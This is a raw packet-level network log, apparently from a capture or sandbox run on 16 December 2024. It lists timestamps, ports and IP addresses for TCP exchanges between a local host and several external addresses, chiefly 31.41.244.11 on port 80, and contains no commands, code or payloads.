Dec 16, 2024 21:02:47.101772070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.101843119 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.101885080 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.101922035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.102770090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.102817059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.102879047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.102917910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.103777885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.103797913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.103827000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.103871107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.104742050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.104794979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.257668018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.257714987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.257745028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.257786989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.258069992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.258112907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.258182049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.258225918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.259119034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.259159088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.259227037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.259344101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.260052919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.260090113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.260257959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.260310888 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.261162996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.261234045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.261297941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.261478901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.262043953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.262098074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.262140036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.262366056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.263034105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.263083935 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.263273001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.263309002 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.264008999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.264054060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.264123917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.264163971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.265003920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.265043974 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.265177965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.265253067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.265993118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.266067982 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.266083002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.266119957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.267010927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.267052889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.267092943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.267191887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.267967939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.268023014 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.268116951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.268393040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.268996000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.269088030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.269262075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.269315958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.270000935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.270061016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.270148039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.270565987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.270925045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.270979881 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.271091938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.271142006 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.271924019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.272037983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.272080898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.272126913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.272941113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.273066044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.273071051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.273145914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.273914099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.273961067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.274039030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.274163008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.274889946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.274924994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.274981022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.274981022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.275957108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.276009083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.276035070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.276073933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.276880980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.276921988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.277035952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.277084112 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.277868986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.277916908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.277939081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.277981997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.278860092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.278909922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.279026985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.279069901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.279839993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.279907942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.279927015 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.279938936 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.280847073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.280893087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.280961037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.281004906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.281830072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.281872988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.281970978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.282021999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.282866001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.282908916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.282953024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.282994986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.283919096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.284002066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.284075022 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.284166098 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.284882069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.284929991 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.285021067 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.285074949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.285794973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.285846949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.285926104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.285964966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.286875010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.286915064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.287009954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.287065983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.287863016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.287913084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.287996054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.288048029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.288789988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.288829088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.288877010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.288921118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.289742947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.289786100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.289860964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.289923906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.290824890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.290879965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.290971994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.291018963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.291793108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.291837931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.291888952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.292028904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.292737007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.292790890 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.292840004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.292893887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.293715954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.293766975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.293816090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.293925047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.294738054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.294784069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.294799089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.294847965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.295710087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.295754910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.295777082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.295814991 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.296706915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.296750069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.296818018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.296874046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.297693014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.297736883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.297786951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.297825098 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.298686028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.298736095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.298814058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.298866034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.299993992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.300038099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.300117970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.300165892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.300653934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.300776958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.300833941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.301641941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.301713943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.301724911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.301765919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.302632093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.302752018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.302794933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.302834988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.303596973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.303643942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.303698063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.303750992 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:49.213300943 CET	49780	33081	192.168.2.4	147.185.221.24
Dec 16, 2024 21:02:49.333178997 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:02:49.546534061 CET	49838	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:49.546926022 CET	49858	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:49.666651011 CET	80	49858	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:49.666760921 CET	49858	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:49.666781902 CET	80	49838	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:49.666866064 CET	49838	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:49.667188883 CET	49858	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:49.679358959 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:02:49.684708118 CET	49780	33081	192.168.2.4	147.185.221.24
Dec 16, 2024 21:02:49.787111044 CET	80	49858	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:49.804874897 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:02:51.010905027 CET	80	49858	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:51.010994911 CET	49858	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:51.012043953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:51.012387037 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:51.132225990 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:51.132448912 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:51.132565975 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:51.132893085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:51.133125067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:51.252361059 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.127857924 CET	49866	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:52.127891064 CET	443	49866	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:52.127979040 CET	49866	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:52.130151033 CET	49866	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:52.130165100 CET	443	49866	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:52.130264044 CET	443	49866	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:52.483623981 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.483685017 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.483705044 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.483720064 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.483755112 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.483782053 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.483802080 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.483872890 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.483922005 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.483923912 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.483972073 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.484103918 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.484133005 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.484154940 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.484169006 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.484179020 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.484205008 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.484220982 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.484251976 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.603820086 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.603954077 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.603971958 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.604051113 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.607923985 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.608031034 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.609713078 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.609776020 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.675713062 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.675789118 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.675940037 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.676011086 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.679917097 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.679994106 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.680043936 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.680113077 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.688307047 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.688370943 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.691381931 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.691443920 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.691608906 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.691792965 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.699758053 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.699945927 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.699978113 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.700047970 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.708192110 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.708415031 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.708467007 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.708467007 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.716727972 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.716907978 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.716913939 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.717000961 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.725115061 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.725151062 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.725183964 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.725287914 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.733455896 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.733532906 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.733551979 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.733603001 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.741902113 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.741972923 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.742175102 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.742232084 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.749515057 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.749607086 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.749701023 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.749758959 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.757229090 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.757308006 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.757370949 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.757498026 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.839569092 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.839653015 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.839672089 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.839755058 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.867599010 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.867666960 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.867762089 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.867821932 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.870001078 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.870053053 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.870070934 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.870106936 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.873421907 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.873481035 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.873495102 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.873552084 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.878005981 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.878071070 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.878078938 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.878156900 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.882606030 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.882656097 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.882774115 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.882775068 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.887017012 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.887079000 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.887125969 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.887187958 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.891825914 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.891877890 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.891894102 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.891930103 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.895998001 CET	80	49864	31.41.244.11	192.168.2.4
